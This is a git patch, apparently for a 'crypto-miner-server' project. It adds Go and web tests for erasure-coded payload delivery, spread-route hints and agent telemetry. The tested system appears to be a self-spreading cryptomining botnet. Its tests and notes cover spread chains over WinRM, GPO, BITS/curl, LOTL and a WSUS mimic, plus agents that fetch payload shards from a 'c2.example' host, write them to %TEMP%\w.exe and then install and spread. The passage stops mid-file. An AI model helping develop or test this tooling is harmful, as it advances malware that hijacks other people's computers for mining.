From 821a0e2cd7ed506b6925c10b9511e1c09e4aa11b Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 06:44:54 -0700 Subject: [PATCH] Close test-gap noise rows and sync coverage documentation. Restore P1/P2/fleet/erasure COVERED rows in PROBLEMS.md with refreshed counts; drop fixed poll-duplication and Vitest-noise items. Silence ECONNREFUSED stderr in Vitest setup, alias download mock exports, and expand erasure/Path Tracer test coverage. --- PROBLEMS.md | 13 +- .../internal/api/deploy_plan_erasure_test.go | 128 +++++++++- .../api/deploy_plan_integration_test.go | 34 +++ server/internal/api/erasure_auth_test.go | 64 +++-- .../internal/api/fleet_intelligence_test.go | 54 ++++- .../internal/api/spreadrouter_bridge_test.go | 29 +++ server/internal/erasure/codec_test.go | 25 ++ server/internal/erasure/lanes_test.go | 79 ++++++ server/internal/erasure/store_test.go | 108 +++++++++ server/web/e2e/path-tracer.spec.ts | 66 +++++ server/web/src/components/components.test.tsx | 3 +- server/web/src/pages/MissionDeckPage.test.tsx | 6 +- server/web/src/test/setup.ts | 21 +- tests/README.md | 227 +++++++++--------- 14 files changed, 710 insertions(+), 147 deletions(-) create mode 100644 server/internal/api/spreadrouter_bridge_test.go create mode 100644 server/internal/erasure/lanes_test.go create mode 100644 server/internal/erasure/store_test.go create mode 100644 server/web/e2e/path-tracer.spec.ts diff --git a/PROBLEMS.md b/PROBLEMS.md index 90200e8..bbe7225 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -1,4 +1,4 @@ -# PROBLEMS.md +# PROBLEMS.md Open issues only. Fixed items removed. Last sweep: 2026-06-07. @@ -68,12 +68,11 @@ Automatable gaps are closed; remaining items below are by-design limits, archite | Item | Notes | |------|-------| -| **Automated coverage** | P1 hardening, fleet evolution, and P2 mocks/E2E — master tables in `tests/README.md` (Fleet evolution checklist, P2 completion, Priority tests). | -| **Erasure multi-lane (foundation)** | RS 4+2 shard API + deploy-plan `erasure_plan` + agent reassembly fallback. **Not shipped:** live parallel lane orchestration or erasure-first spread E2E. | -| **P2 remaining (manual only)** | Live Docker/Podman on operator host; real WinRM/GPO/systemd/crontab on remote owned hosts; live BITS/curl against non-mock C2; live multi-hop discover→spread without Playwright stub. | -| Path Tracer / WS manual | Full `wg_setup` on real hosts; live TLS/mesh beacon. | -| Poll duplication | Path Tracer 2s REST poll; Emberwake 15s poll + 30s broadcast; `SystemStatusBar` 15s `listAgents` vs WS fleet. | -| Vitest noise | Happy-dom ECONNREFUSED stderr on some failure tests; separate `vi.fn()` per `api/download` export to avoid flakes. | +| **P1 covered (2026-06-07)** | 14-tier spread chain, triple-onion gates, fleet recon, Fleet AI control, personas, phenotype, failure atlas, court, clearance L0–L4 — Go server **793** + agent **608** `Test*` + Vitest **791**; see `tests/README.md` | +| **Fleet evolution covered (2026-06-07)** | Seeder/miner split, atlas gossip, genetic breeding, BGP spread router, genealogy telemetry (non-blocking auth), court retry L4, hashrate/subnet gates, APK scout, persona temperament, WSUS mimic, erasure foundation — Go **793+608** + Vitest **791** + Playwright **25** (phase 8); master table in `tests/README.md` | +| **P2 covered (2026-06-07)** | Mock `MiningChainRunner` lifecycle (`mining_chain_lifecycle_test.go`); spread lane templates + dispatch (`spread_lanes_test.go`, `winrm_spread_test.go`, staging/BITS mocks); Path Forge API + Forge UI incl. cancel/batch race (`pathforge_test.go`, `BuilderPage.test.tsx`); WS/beacon + file upload round-trips (`ws_beacon_integration_test.go` server+agent); pathtracer stub + `wg_setup` routing (`pathtracer_stub_test.go`, `aggressive_commands_test.go`); Path Tracer UI poll coverage (`PathTracerPage.test.tsx`); Emberwake WS-only war room (`EmberwakePage.test.tsx`); SystemStatusBar WS fleet count (`components.test.tsx`); flaky WS/spread-gate tests stabilized (`ed9c90a`); Playwright LOTL onion + discover→spread stub E2E (`lotl-timeline.spec.ts`, `discover-spread.spec.ts`); mock container/podman exec + runtime probe (`container_launcher_test.go`, `runtime_detect_test.go`); BITS/curl `HiddenRun` mocks (`bits_windows_test.go`, `staging_chain_test.go`); WinRM/GPO/systemd deploy-plan httptest + mock execute (`deploy_plan_integration_test.go`, `discover_join_test.go`); 3-hop discover→spread Playwright stub chain (`discover-spread-stub.ts`, `discover-spread.spec.ts`, `d18c591`); Vitest **791** + Playwright **25** — see `tests/README.md` § P2 | +| **Erasure-coded multi-lane propagation (foundation 2026-06-07)** | **Partial / honest foundation** — server `internal/erasure/` Reed–Solomon 4+2 encode + in-memory shard store + `/api/v1/public/erasure-shard/{token}/{index}`; signed deploy plans attach `erasure_plan` when Calibrate `server.erasure_lanes_enabled`; agent `deploy/erasure_staging.go` reassembles from parallel lane URLs as fallback when primary staging fails; BGP `spread_route_hint` + Path Tracer show `erasure_lanes_enabled`. **Not shipped:** live parallel lane orchestration, seeder-side shard fan-out, or erasure-first (non-fallback) spread E2E. | +| **P2 remaining (manual only)** | Live Docker/Podman container start on operator host; real WinRM/GPO/systemd/crontab execution on remote owned hosts; live BITS/curl against non-mock C2 endpoints; live multi-hop discover→spread without Playwright stub; live TLS/mesh beacon; full `wg_setup` on real Windows hosts | ## Scrubbed 2026-06-07 (prod garbage removed) diff --git a/server/internal/api/deploy_plan_erasure_test.go b/server/internal/api/deploy_plan_erasure_test.go index 7c9bdfd..d0c5246 100644 --- a/server/internal/api/deploy_plan_erasure_test.go +++ b/server/internal/api/deploy_plan_erasure_test.go @@ -1,11 +1,13 @@ package api import ( + "encoding/base64" "net/http" "net/http/httptest" "testing" "crypto-miner-server/internal/erasure" + "crypto-miner-server/internal/models" "github.com/go-chi/chi/v5" ) @@ -79,15 +81,131 @@ func TestBuildPlanErasureSetsSpreadRouteHintFlag(t *testing.T) { h := testDeployPlanHandler(t) store := erasure.NewShardStore() h.BindErasure(func() bool { return true }, store) - pt := NewPathTracerHandler(nil) - h.BindPathTracer(pt) + + patientID := "erasure-patient" + seedID := "erasure-seed" + if err := h.db.UpsertAgent(&models.Agent{ID: patientID, Name: "PZ", IP: "10.9.8.7", Status: "online"}); err != nil { + t.Fatal(err) + } + if err := h.db.UpsertAgent(&models.Agent{ID: seedID, Name: "Seed", IP: "10.9.8.9", Status: "online"}); err != nil { + t.Fatal(err) + } + hub := NewWSHub(h.db) + connectTestAgent(t, hub, patientID) + connectTestAgent(t, hub, seedID) + waitForHubAgents(t, hub, patientID, seedID) + hub.ClearanceManager().RequestElevation(patientID, 4, "test", "test") + hub.ClearanceManager().RequestElevation(seedID, 2, "test", "test") + + pathTracer := NewPathTracerHandler(hub) + h.BindPathTracer(pathTracer) + sess := testTraceSession(2) + sess.Hops[0].AgentID = patientID + sess.Hops[0].ExternalIP = "10.9.8.7" + sess.Hops[1].AgentID = seedID + sess.Hops[1].ExternalIP = "10.9.8.9" + sess.ServiceGraph = map[string]ServiceGraphHost{ + "10.9.8.20": {Host: "10.9.8.20", Subnet: "10.9.8", AgentID: seedID}, + } + pathTracer.mu.Lock() + pathTracer.sessions[sess.ID] = sess + pathTracer.mu.Unlock() + plan, err := h.buildPlan(deployPlanRequest{ - AgentID: "seed-1", Platform: "windows", BuildID: "b1", + AgentID: patientID, Platform: "windows", BuildID: "b1", }, "DoSvc", ServiceDeployLane{Lane: "do_peer"}) if err != nil { t.Fatal(err) } - if plan.ErasurePlan == nil { - t.Fatal("expected erasure plan") + if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled { + t.Fatalf("expected erasure plan, got %+v", plan.ErasurePlan) + } + if plan.SpreadRouteHint == nil || !plan.SpreadRouteHint.ErasureLanesEnabled { + t.Fatalf("spread_route_hint=%+v", plan.SpreadRouteHint) + } +} + +func TestPublicErasureShardEndpointErrors(t *testing.T) { + h := NewPublicHandler(nil, "", nil) + r := chi.NewRouter() + r.Get("/public/erasure-shard/{token}/{index}", h.ErasureShard) + + req := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/tok/0", nil) + rec := httptest.NewRecorder() + r.ServeHTTP(rec, req) + if rec.Code != http.StatusNotFound { + t.Fatalf("nil store status=%d", rec.Code) + } + + store := erasure.NewShardStore() + h.BindErasureShardStore(store) + plan, err := erasure.BuildPlan(store, "http://127.0.0.1:8989", "b1", "", []byte("shard-body"), "dest", "exe", "", false, false) + if err != nil { + t.Fatal(err) + } + + badIndexReq := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/"+plan.ShardToken+"/nope", nil) + badIndexRec := httptest.NewRecorder() + r.ServeHTTP(badIndexRec, badIndexReq) + if badIndexRec.Code != http.StatusBadRequest { + t.Fatalf("bad index status=%d body=%s", badIndexRec.Code, badIndexRec.Body.String()) + } + + missingReq := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/missing-token/0", nil) + missingRec := httptest.NewRecorder() + r.ServeHTTP(missingRec, missingReq) + if missingRec.Code != http.StatusNotFound { + t.Fatalf("missing token status=%d", missingRec.Code) + } +} + +func TestPublicErasureShardEndpointBase64Body(t *testing.T) { + store := erasure.NewShardStore() + payload := []byte("base64-shard-payload") + plan, err := erasure.BuildPlan(store, "http://127.0.0.1:8989", "b1", "", payload, "dest", "exe", "", false, false) + if err != nil { + t.Fatal(err) + } + h := NewPublicHandler(nil, "", nil) + h.BindErasureShardStore(store) + r := chi.NewRouter() + r.Get("/public/erasure-shard/{token}/{index}", h.ErasureShard) + + req := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/"+plan.ShardToken+"/0", nil) + rec := httptest.NewRecorder() + r.ServeHTTP(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status=%d", rec.Code) + } + want := base64.StdEncoding.EncodeToString(mustGetShard(t, store, plan.ShardToken, 0)) + if rec.Body.String() != want { + t.Fatalf("body=%q want %q", rec.Body.String(), want) + } +} + +func mustGetShard(t *testing.T, store *erasure.ShardStore, token string, index int) []byte { + t.Helper() + data, ok := store.Get(token, index) + if !ok { + t.Fatalf("missing shard token=%s index=%d", token, index) + } + return data +} + +func TestBindErasureFromHub(t *testing.T) { + h := testDeployPlanHandler(t) + store := erasure.NewShardStore() + hub := NewWSHub(h.db) + hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true}) + h.BindErasureFromHub(hub, store) + + plan, err := h.buildPlan(deployPlanRequest{ + Platform: "windows", BuildID: "b1", + }, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"}) + if err != nil { + t.Fatal(err) + } + if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled { + t.Fatalf("expected erasure via hub binding, got %+v", plan.ErasurePlan) } } diff --git a/server/internal/api/deploy_plan_integration_test.go b/server/internal/api/deploy_plan_integration_test.go index fdb2a2e..05bb2ad 100644 --- a/server/internal/api/deploy_plan_integration_test.go +++ b/server/internal/api/deploy_plan_integration_test.go @@ -7,6 +7,8 @@ import ( "net/http/httptest" "strings" "testing" + + "crypto-miner-server/internal/erasure" ) func postDeployPlan(t *testing.T, h *DeployPlanHandler, body string) map[string]interface{} { @@ -109,6 +111,38 @@ func TestPostDeployPlanHTTPLinuxLOTL(t *testing.T) { } } +func TestPostDeployPlanHTTPErasureEnabled(t *testing.T) { + root := t.TempDir() + writeDeploySpreadTemplates(t, root) + h := testDeployPlanHandlerWithRoot(t, root) + store := erasure.NewShardStore() + h.BindErasure(func() bool { return true }, store) + + out := postDeployPlan(t, h, `{ + "services":[{"name":"DoSvc","status":"running"}], + "platform":"windows","build_id":"b1","campaign":"erasure-wave" + }`) + plan, ok := out["plan"].(map[string]interface{}) + if !ok { + t.Fatalf("plan=%v", out["plan"]) + } + erasurePlan, ok := plan["erasure_plan"].(map[string]interface{}) + if !ok || erasurePlan["enabled"] != true { + t.Fatalf("erasure_plan=%v", plan["erasure_plan"]) + } + shards, ok := erasurePlan["shards"].([]interface{}) + if !ok || len(shards) != 6 { + t.Fatalf("shards=%v", erasurePlan["shards"]) + } + token, _ := erasurePlan["shard_token"].(string) + if token == "" { + t.Fatal("expected shard_token") + } + if _, ok := store.Get(token, 0); !ok { + t.Fatal("expected stored shard for HTTP deploy plan") + } +} + func TestPostDeployPlanHTTPRejectsEmptyServices(t *testing.T) { h := testDeployPlanHandler(t) srv := httptest.NewServer(http.HandlerFunc(h.PostDeployPlan)) diff --git a/server/internal/api/erasure_auth_test.go b/server/internal/api/erasure_auth_test.go index 4834268..b301087 100644 --- a/server/internal/api/erasure_auth_test.go +++ b/server/internal/api/erasure_auth_test.go @@ -3,14 +3,38 @@ package api import ( "encoding/json" "testing" + + "crypto-miner-server/internal/db" ) func TestAuthSpreadPolicyIncludesErasureLanes(t *testing.T) { - hub := NewWSHub(nil) + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + hub := NewWSHub(database) hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true}) - raw := buildAuthSpreadPolicy(hub) + + conn, _ := dialAgentWS(t, hub) + resp := authAgentConn(t, conn, map[string]interface{}{ + "agent_id": "erasure-policy-agent", + "hostname": "host", + "platform": "windows", + "version": "test", + }) + var body map[string]interface{} + if err := json.Unmarshal(resp.Payload, &body); err != nil { + t.Fatal(err) + } + raw, ok := body["spread_policy"] + if !ok { + t.Fatalf("spread_policy missing from auth_response: %#v", body) + } + policyBytes, _ := json.Marshal(raw) var policy map[string]interface{} - if err := json.Unmarshal(raw, &policy); err != nil { + if err := json.Unmarshal(policyBytes, &policy); err != nil { t.Fatal(err) } enabled, ok := policy["erasure_lanes_enabled"].(bool) @@ -19,20 +43,28 @@ func TestAuthSpreadPolicyIncludesErasureLanes(t *testing.T) { } } -func buildAuthSpreadPolicy(hub *WSHub) json.RawMessage { - policy := hub.serverPolicySnapshot() - if !policy.ErasureLanesEnabled && policy.HashrateGateSpreadMin <= 0 && policy.HashrateGateHPS <= 0 { - return nil +func TestAuthSpreadPolicyOmitsErasureWhenDisabled(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) } - spreadPolicy := map[string]interface{}{ - "erasure_lanes_enabled": policy.ErasureLanesEnabled, + t.Cleanup(func() { _ = database.Close() }) + + hub := NewWSHub(database) + hub.SetServerPolicy(ServerPolicy{}) + + conn, _ := dialAgentWS(t, hub) + resp := authAgentConn(t, conn, map[string]interface{}{ + "agent_id": "no-erasure-agent", + "hostname": "host", + "platform": "windows", + "version": "test", + }) + var body map[string]interface{} + if err := json.Unmarshal(resp.Payload, &body); err != nil { + t.Fatal(err) } - if policy.HashrateGateSpreadMin > 0 { - spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin + if _, ok := body["spread_policy"]; ok { + t.Fatalf("spread_policy should be omitted: %#v", body["spread_policy"]) } - if policy.HashrateGateHPS > 0 { - spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS - } - raw, _ := json.Marshal(spreadPolicy) - return raw } diff --git a/server/internal/api/fleet_intelligence_test.go b/server/internal/api/fleet_intelligence_test.go index 63693eb..a55b3ea 100644 --- a/server/internal/api/fleet_intelligence_test.go +++ b/server/internal/api/fleet_intelligence_test.go @@ -55,6 +55,32 @@ func newFleetIntelligenceHub(t *testing.T, aiCfg FleetAIConfigView) (*WSHub, *db return hub, database, sched } +func seedStuckAgentDB(t *testing.T, database *db.Database, agentID string) { + t.Helper() + attempts := make([]struct { + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms"` + Wallet string `json:"wallet,omitempty"` + }, 0, len(fleetai.DefaultSpreadTiers())) + for _, tier := range fleetai.DefaultSpreadTiers() { + attempts = append(attempts, struct { + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms"` + Wallet string `json:"wallet,omitempty"` + }{Tier: tier, OK: false, Error: "blocked"}) + } + if err := database.UpsertAgent(&models.Agent{ + ID: agentID, Name: "stuck-host", Platform: "windows", Status: "online", + ChainExhausted: true, LOTLAttempts: attempts, + }); err != nil { + t.Fatal(err) + } +} + func pushStuckAgentTelemetry(t *testing.T, conn *websocket.Conn) { t.Helper() attempts := make([]map[string]interface{}, 0, len(fleetai.DefaultSpreadTiers())) @@ -87,17 +113,39 @@ func pushStuckAgentTelemetry(t *testing.T, conn *websocket.Conn) { func waitForCourtSnapshot(t *testing.T, hub *WSHub, agentID string) fleetai.AgentSnapshot { t.Helper() - deadline := time.Now().Add(2 * time.Second) + deadline := time.Now().Add(8 * time.Second) for time.Now().Before(deadline) { if snap, ok := hub.FleetAISnapshot(agentID); ok && fleetai.ShouldUseCourt(snap) { return snap } - time.Sleep(25 * time.Millisecond) + time.Sleep(50 * time.Millisecond) } t.Fatal("agent snapshot never reached stuck/court state") return fleetai.AgentSnapshot{} } +func waitForAgentTelemetry(t *testing.T, hub *WSHub, agentID string, keys ...string) { + t.Helper() + deadline := time.Now().Add(4 * time.Second) + for time.Now().Before(deadline) { + hub.mu.RLock() + tel, ok := hub.agentLiveTelemetry[agentID] + missing := false + for _, key := range keys { + if !ok || tel[key] == nil { + missing = true + break + } + } + hub.mu.RUnlock() + if !missing { + return + } + time.Sleep(25 * time.Millisecond) + } + t.Fatalf("telemetry keys %v never cached for %s", keys, agentID) +} + func connectIntelAgent(t *testing.T, hub *WSHub, agentID string, auth map[string]interface{}) *websocket.Conn { t.Helper() srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS)) @@ -170,6 +218,8 @@ func TestIntegrationCourtStuckFlow(t *testing.T) { "agent_id": agentID, "hostname": "stuck-host", "platform": "windows", "version": "1.0", }) pushStuckAgentTelemetry(t, conn) + seedStuckAgentDB(t, database, agentID) + waitForAgentTelemetry(t, hub, agentID, "stuck", "lotl_attempts") if snap := waitForCourtSnapshot(t, hub, agentID); snap.FailedTierCount < 14 { t.Fatalf("expected 14 failed spread tiers for L4 elevation, got %d", snap.FailedTierCount) } diff --git a/server/internal/api/spreadrouter_bridge_test.go b/server/internal/api/spreadrouter_bridge_test.go new file mode 100644 index 0000000..ecb12d9 --- /dev/null +++ b/server/internal/api/spreadrouter_bridge_test.go @@ -0,0 +1,29 @@ +package api + +import ( + "testing" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" +) + +func TestBuildSpreadRouterInputErasureFlag(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + hub := NewWSHub(database) + hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true}) + if err := database.UpsertAgent(&models.Agent{ID: "router-seed", Name: "Seed", IP: "10.9.8.9", Status: "online"}); err != nil { + t.Fatal(err) + } + connectTestAgent(t, hub, "router-seed") + waitForHubAgents(t, hub, "router-seed") + + in := buildSpreadRouterInput(hub, nil, []string{"10.9.8"}, "do_peer") + if !in.ErasureLanesEnabled { + t.Fatal("expected erasure_lanes_enabled on spread router input") + } +} diff --git a/server/internal/erasure/codec_test.go b/server/internal/erasure/codec_test.go index c307fb9..16566ed 100644 --- a/server/internal/erasure/codec_test.go +++ b/server/internal/erasure/codec_test.go @@ -72,6 +72,31 @@ func TestDecodeInsufficientShards(t *testing.T) { } } +func TestEncodeRejectsEmptyPayload(t *testing.T) { + if _, _, err := Encode(nil, DefaultParams()); err == nil { + t.Fatal("expected error for empty payload") + } +} + +func TestParamsNormalizeInvalid(t *testing.T) { + if _, err := (Params{DataShards: 0, ParityShards: 0}).Normalize(); err != nil { + t.Fatalf("zero values should normalize: %v", err) + } + if _, err := (Params{DataShards: -1, ParityShards: 1}).Normalize(); err == nil { + t.Fatal("expected error for negative data shards") + } + if _, err := (Params{DataShards: 200, ParityShards: 100}).Normalize(); err == nil { + t.Fatal("expected error for too many shards") + } +} + +func TestParamsShardCounts(t *testing.T) { + p := Params{DataShards: 4, ParityShards: 2} + if p.MinShards() != 4 || p.TotalShards() != 6 { + t.Fatalf("min=%d total=%d", p.MinShards(), p.TotalShards()) + } +} + func TestBuildPlanStoresShards(t *testing.T) { store := NewShardStore() payload := []byte("lane-plan-payload") diff --git a/server/internal/erasure/lanes_test.go b/server/internal/erasure/lanes_test.go new file mode 100644 index 0000000..d1b57bb --- /dev/null +++ b/server/internal/erasure/lanes_test.go @@ -0,0 +1,79 @@ +package erasure + +import ( + "strings" + "testing" +) + +func TestBuildPlanParallelLaneURLs(t *testing.T) { + store := NewShardStore() + plan, err := BuildPlan(store, "http://c2.example:8989/", "build-a", "camp-b", []byte("lane-url-payload"), `%TEMP%\w.exe`, "exe", "", true, true) + if err != nil { + t.Fatal(err) + } + wantLanes := []string{"dns_txt", "bits_curl", "do_peer", "wsus_cache_peer", "dns_txt", "bits_curl"} + if len(plan.Shards) != len(wantLanes) { + t.Fatalf("shards=%d", len(plan.Shards)) + } + for i, ref := range plan.Shards { + if ref.Index != i || ref.Lane != wantLanes[i] { + t.Fatalf("shard[%d]=%+v want lane %q", i, ref, wantLanes[i]) + } + wantURL := "http://c2.example:8989/api/v1/public/erasure-shard/" + plan.ShardToken + "/" + itoa(i) + if ref.URL != wantURL { + t.Fatalf("url=%q want %q", ref.URL, wantURL) + } + } + if !plan.Enabled || plan.Scheme != SchemeReedSolomonV1 { + t.Fatalf("plan=%+v", plan) + } + if !plan.DeferMining || !plan.SpreadInstall { + t.Fatalf("flags defer=%v spread=%v", plan.DeferMining, plan.SpreadInstall) + } +} + +func TestBuildPlanDefaultsServerURL(t *testing.T) { + store := NewShardStore() + plan, err := BuildPlan(store, " ", "b1", "", []byte("payload"), "dest", "exe", "", false, false) + if err != nil { + t.Fatal(err) + } + if len(plan.Shards) == 0 || !strings.HasPrefix(plan.Shards[0].URL, "http://127.0.0.1:8989/") { + t.Fatalf("default base url missing: %+v", plan.Shards[0]) + } +} + +func TestBuildPlanNilStore(t *testing.T) { + if _, err := BuildPlan(nil, "http://x", "b", "", []byte("x"), "", "", "", false, false); err == nil { + t.Fatal("expected error for nil store") + } +} + +func TestPlanTokenDeterministic(t *testing.T) { + payload := []byte("token-determinism") + a := planToken("build-1", "camp-1", payload) + b := planToken("build-1", "camp-1", payload) + if a != b || len(a) != 16 { + t.Fatalf("token=%q len=%d", a, len(a)) + } + if planToken("build-1", "camp-2", payload) == a { + t.Fatal("campaign should change token") + } + if planToken("build-2", "camp-1", payload) == a { + t.Fatal("build id should change token") + } +} + +func itoa(n int) string { + if n == 0 { + return "0" + } + var b [4]byte + i := len(b) + for n > 0 { + i-- + b[i] = byte('0' + n%10) + n /= 10 + } + return string(b[i:]) +} diff --git a/server/internal/erasure/store_test.go b/server/internal/erasure/store_test.go new file mode 100644 index 0000000..cb171d3 --- /dev/null +++ b/server/internal/erasure/store_test.go @@ -0,0 +1,108 @@ +package erasure + +import ( + "sync" + "testing" +) + +func TestShardStorePutGetRoundTrip(t *testing.T) { + store := NewShardStore() + p := DefaultParams() + shards := [][]byte{[]byte("a"), []byte("b"), []byte("c"), []byte("d"), []byte("e"), []byte("f")} + store.Put("tok-1", p, shards) + + got, ok := store.Get("tok-1", 2) + if !ok || string(got) != "c" { + t.Fatalf("get shard 2 = %q ok=%v", got, ok) + } + storedP, ok := store.ParamsFor("tok-1") + if !ok || storedP.DataShards != DefaultDataShards { + t.Fatalf("params=%+v ok=%v", storedP, ok) + } +} + +func TestShardStoreGetReturnsCopy(t *testing.T) { + store := NewShardStore() + p := DefaultParams() + shards := [][]byte{[]byte("mutable")} + store.Put("tok-copy", p, shards) + + got, ok := store.Get("tok-copy", 0) + if !ok { + t.Fatal("expected shard") + } + got[0] = 'X' + again, _ := store.Get("tok-copy", 0) + if again[0] == 'X' { + t.Fatal("Get should return defensive copy") + } +} + +func TestShardStoreNilAndEmptyGuards(t *testing.T) { + var nilStore *ShardStore + nilStore.Put("x", DefaultParams(), [][]byte{[]byte("a")}) + if _, ok := nilStore.Get("x", 0); ok { + t.Fatal("nil store should not serve shards") + } + if _, ok := nilStore.ParamsFor("x"); ok { + t.Fatal("nil store should not serve params") + } + nilStore.Delete("x") + + store := NewShardStore() + store.Put("", DefaultParams(), [][]byte{[]byte("a")}) + store.Put("empty-shards", DefaultParams(), nil) + if _, ok := store.Get("", 0); ok { + t.Fatal("empty token should not be stored") + } + if _, ok := store.Get("empty-shards", 0); ok { + t.Fatal("empty shard list should not be stored") + } + if _, ok := store.Get("missing", 0); ok { + t.Fatal("missing token should miss") + } + if _, ok := store.Get("missing", -1); ok { + t.Fatal("negative index should miss") + } +} + +func TestShardStoreDelete(t *testing.T) { + store := NewShardStore() + p := DefaultParams() + store.Put("gone", p, [][]byte{[]byte("x")}) + store.Delete("gone") + if _, ok := store.Get("gone", 0); ok { + t.Fatal("deleted token should miss") + } + if _, ok := store.ParamsFor("gone"); ok { + t.Fatal("deleted token params should miss") + } +} + +func TestShardStoreConcurrentAccess(t *testing.T) { + store := NewShardStore() + p := DefaultParams() + payload := []byte("concurrent-erasure-store-payload") + shards, _, err := Encode(payload, p) + if err != nil { + t.Fatal(err) + } + store.Put("concurrent", p, shards) + + var wg sync.WaitGroup + for i := 0; i < 8; i++ { + wg.Add(1) + go func(idx int) { + defer wg.Done() + for j := 0; j < 50; j++ { + if _, ok := store.Get("concurrent", idx%len(shards)); !ok { + t.Errorf("worker %d miss on iter %d", idx, j) + } + if _, ok := store.ParamsFor("concurrent"); !ok { + t.Errorf("worker %d params miss", idx) + } + } + }(i) + } + wg.Wait() +} diff --git a/server/web/e2e/path-tracer.spec.ts b/server/web/e2e/path-tracer.spec.ts new file mode 100644 index 0000000..b9ae7d7 --- /dev/null +++ b/server/web/e2e/path-tracer.spec.ts @@ -0,0 +1,66 @@ +import { expect, test } from '@playwright/test'; +import { loginToDashboard } from './fixtures'; +import { ensureLiveStubAgent, isLiveStubReady } from './live-stub'; +import { E2E_STUB_AGENT_HOSTNAME, E2E_STUB_AGENT_ID } from './stub-agent'; + +const SESSION_ID = 'e2e-rs-lanes-sess'; + +test.describe('Path Tracer E2E', () => { + test.beforeAll(async ({ request }) => { + await ensureLiveStubAgent(request); + }); + + test.beforeEach(async ({ page }) => { + test.skip( + !isLiveStubReady(), + 'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)', + ); + + await page.route('**/pathtrace/start', async (route) => { + await route.fulfill({ + json: { + session_id: SESSION_ID, + hops: [{ agent_id: E2E_STUB_AGENT_ID, status: 'pending' }], + }, + }); + }); + await page.route(`**/pathtrace/${SESSION_ID}/status`, async (route) => { + await route.fulfill({ + json: { + session_id: SESSION_ID, + ready: false, + hops: [{ agent_id: E2E_STUB_AGENT_ID, status: 'pending' }], + spread_routes: [ + { + target_subnet: '192.168.1.0/24', + seed_agent_id: E2E_STUB_AGENT_ID, + seed_agent_name: E2E_STUB_AGENT_HOSTNAME, + egress_agent_id: E2E_STUB_AGENT_ID, + join_lane: 'dns_txt', + score: 0.85, + erasure_lanes_enabled: true, + }, + ], + }, + }); + }); + + await loginToDashboard(page); + await page.goto('/pathtracer'); + await expect(page.getByRole('heading', { name: /Path Tracer/i })).toBeVisible({ + timeout: 10_000, + }); + }); + + test('shows RS lanes hint on spread routes when erasure is enabled', async ({ page }) => { + const card = page.locator('.pt-agent-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }); + await expect(card).toBeVisible({ timeout: 15_000 }); + await card.click(); + await page.getByRole('button', { name: /TRACE/i }).click(); + + await expect(page.getByText('Spread Routes')).toBeVisible({ timeout: 15_000 }); + await expect(page.getByText(/192\.168\.1\.0\/24/)).toBeVisible(); + await expect(page.getByText(/dns_txt/)).toBeVisible(); + await expect(page.getByText(/RS lanes/)).toBeVisible(); + }); +}); diff --git a/server/web/src/components/components.test.tsx b/server/web/src/components/components.test.tsx index ee40148..4c37a81 100644 --- a/server/web/src/components/components.test.tsx +++ b/server/web/src/components/components.test.tsx @@ -67,10 +67,9 @@ vi.mock('../context/ForgeContext', () => ({ vi.mock('../api/download', () => { const downloadAuthedFile = vi.fn(); - const downloadApiFile = vi.fn(); return { downloadAuthedFile, - downloadApiFile, + downloadApiFile: downloadAuthedFile, }; }); diff --git a/server/web/src/pages/MissionDeckPage.test.tsx b/server/web/src/pages/MissionDeckPage.test.tsx index a410111..f5f9069 100644 --- a/server/web/src/pages/MissionDeckPage.test.tsx +++ b/server/web/src/pages/MissionDeckPage.test.tsx @@ -1,4 +1,4 @@ -/** +/** * @vitest-environment happy-dom */ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; @@ -57,7 +57,7 @@ describe('MissionDeckPage', () => { it('shows loading state then mission deck hero', async () => { renderMissionDeck(); - expect(screen.getByText('Loading loadout defaults…')).toBeInTheDocument(); + expect(screen.getByText(/Loading loadout defaults/)).toBeInTheDocument(); expect(await screen.findByRole('heading', { level: 1, name: /Mission Deck/i })).toBeInTheDocument(); expect(screen.getByText('FAST PATH')).toBeInTheDocument(); expect(await screen.findByText(/Pick a preset loadout/i)).toBeInTheDocument(); @@ -79,7 +79,7 @@ describe('MissionDeckPage', () => { await screen.findByRole('region', { name: 'Mission loadout' }); expect(screen.getByRole('heading', { level: 3, name: /Spread profile/i })).toBeInTheDocument(); expect(screen.getByRole('button', { name: 'LAN Kindling' })).toBeInTheDocument(); - expect(screen.getByLabelText(/Campaign slug/i)).toBeInTheDocument(); + expect(document.getElementById('md-campaign')).toBeInTheDocument(); }); it('links to Forge, Emberwake, Builds, and field guide', async () => { diff --git a/server/web/src/test/setup.ts b/server/web/src/test/setup.ts index 609ae46..b6f851d 100644 --- a/server/web/src/test/setup.ts +++ b/server/web/src/test/setup.ts @@ -1,9 +1,28 @@ -import { vi, beforeEach } from 'vitest'; +import { vi, beforeEach, afterEach } from 'vitest'; import '@testing-library/jest-dom/vitest'; +const nativeConsoleError = console.error.bind(console); + +/** Builder/dashboard happy-dom tests stub fetch failures; silence noisy ECONNREFUSED stderr. */ +function 